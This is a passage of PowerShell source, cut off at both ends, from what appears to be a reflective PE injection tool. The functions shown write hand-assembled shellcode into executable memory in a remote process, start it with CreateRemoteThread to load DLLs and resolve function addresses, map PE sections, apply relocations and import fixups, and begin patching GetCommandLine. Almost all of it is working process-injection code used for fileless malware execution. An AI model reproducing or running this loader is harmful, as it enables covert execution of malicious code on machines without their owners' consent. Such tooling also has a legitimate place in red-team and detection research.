Throw "PE file is not an EXE or DLL"
}
return $PEInfo
}
Function Import-DllInRemoteProcess
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$RemoteProcHandle,
[Parameter(Position=1, Mandatory=$true)]
[IntPtr]
$ImportDllPathPtr
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
$DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
$RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($RImportDllPathPtr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process"
}
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw "Unable to write DLL path to remote process memory"
}
if ($DllPathSize -ne $NumBytesWritten)
{
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
}
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA")
[IntPtr]$DllAddress = [IntPtr]::Zero
if ($PEInfo.PE64Bit -eq $true)
{
$LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
}
$LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
$LoadLibrarySC2 = @(0x48, 0xba)
$LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
$LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
$SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
if ($Result -eq $false)
{
Throw "Call to ReadProcessMemory failed"
}
[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
else
{
[IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
[Int32]$ExitCode = 0
$Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
if (($Result -eq 0) -or ($ExitCode -eq 0))
{
Throw "Call to GetExitCodeThread failed"
}
[IntPtr]$DllAddress = [IntPtr]$ExitCode
}
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
return $DllAddress
}
Function Get-RemoteProcAddress
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$RemoteProcHandle,
[Parameter(Position=1, Mandatory=$true)]
[IntPtr]
$RemoteDllHandle,
[Parameter(Position=2, Mandatory=$true)]
[String]
$FunctionName
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
$FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName)
$FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
$RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($RFuncNamePtr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process"
}
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr)
if ($Success -eq $false)
{
Throw "Unable to write DLL path to remote process memory"
}
if ($FunctionNameSize -ne $NumBytesWritten)
{
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
}
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress")
$GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
}
[Byte[]]$GetProcAddressSC = @()
if ($PEInfo.PE64Bit -eq $true)
{
$GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
$GetProcAddressSC2 = @(0x48, 0xba)
$GetProcAddressSC3 = @(0x48, 0xb8)
$GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
$GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
$GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
$GetProcAddressSC2 = @(0xb9)
$GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
$GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
$GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
{
Throw "Call to ReadProcessMemory failed"
}
[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
return $ProcAddress
}
Function Copy-Sections
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
$SizeOfRawData = $SectionHeader.SizeOfRawData
if ($SectionHeader.PointerToRawData -eq 0)
{
$SizeOfRawData = 0
}
if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
{
$SizeOfRawData = $SectionHeader.VirtualSize
}
if ($SizeOfRawData -gt 0)
{
Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
}
if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
{
$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
[IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
}
}
}
Function Update-MemoryAddresses
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$OriginalImageBase,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
[Int64]$BaseDifference = 0
$AddDifference = $true
[UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
-or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
{
return
}
elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
{
$BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
$AddDifference = $false
}
elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
{
$BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
}
[IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
while($true)
{
$BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
if ($BaseRelocationTable.SizeOfBlock -eq 0)
{
break
}
[IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
$NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
for($i = 0; $i -lt $NumRelocations; $i++)
{
$RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
[UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
[UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
[UInt16]$RelocType = $RelocationInfo -band 0xF000
for ($j = 0; $j -lt 12; $j++)
{
$RelocType = [Math]::Floor($RelocType / 2)
}
if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
-or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
{
[IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
[IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
if ($AddDifference -eq $true)
{
[IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
}
else
{
[IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
}
elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
{
Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
}
}
$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
}
}
Function Import-DllImports
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 4, Mandatory = $false)]
[IntPtr]
$RemoteProcHandle
)
$RemoteLoading = $false
if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
{
$RemoteLoading = $true
}
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
break
}
$ImportDllHandle = [IntPtr]::Zero
$ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
if ($RemoteLoading -eq $true)
{
$ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
}
else
{
$ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
}
if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
{
throw "Error importing DLL, DLLName: $ImportDllPath"
}
[IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
{
$ProcedureName = ''
[IntPtr]$NewThunkRef = [IntPtr]::Zero
if([Int64]$OriginalThunkRefVal -lt 0)
{
$ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
}
else
{
[IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
$StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
$ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
}
if ($RemoteLoading -eq $true)
{
[IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName
}
else
{
if($ProcedureName -is [string])
{
    [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName)
}
else
{
    [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressOrdinal.Invoke($ImportDllHandle, $ProcedureName)
}
}
if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
{
Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
$ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
}
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
}
Function Get-VirtualProtectValue
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt32]
$SectionCharacteristics
)
$ProtectionFlag = 0x0
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE
}
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_READWRITE
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_READONLY
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_NOACCESS
}
}
}
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
{
$ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
}
return $ProtectionFlag
}
Function Update-MemoryProtectionFlags
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
[IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
[UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
[UInt32]$SectionSize = $SectionHeader.VirtualSize
[UInt32]$OldProtectFlag = 0
Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
$Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Unable to change memory protection"
}
}
}
Function Update-ExeFunctions
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[String]
$ExeArguments,
[Parameter(Position = 4, Mandatory = $true)]
[IntPtr]
$ExeDoneBytePtr
)
$ReturnArray = @()
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
[UInt32]$OldProtectFlag = 0
[IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
if ($Kernel32Handle -eq [IntPtr]::Zero)
{
throw "Kernel32 handle null"
}
[IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
if ($KernelBaseHandle -eq [IntPtr]::Zero)
{
throw "KernelBase handle null"
}
$CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
$CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
[IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
[IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
{
throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr"
}
[Byte[]]$Shellcode1 = @()
if ($PtrSize -eq 8)
{
$Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
}
$Shellcode1 += 0xb8
[Byte[]]$Shellcode2 = @(0xc3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
$GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
$Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
$ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
$ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
[UInt32]$OldProtectFlag = 0
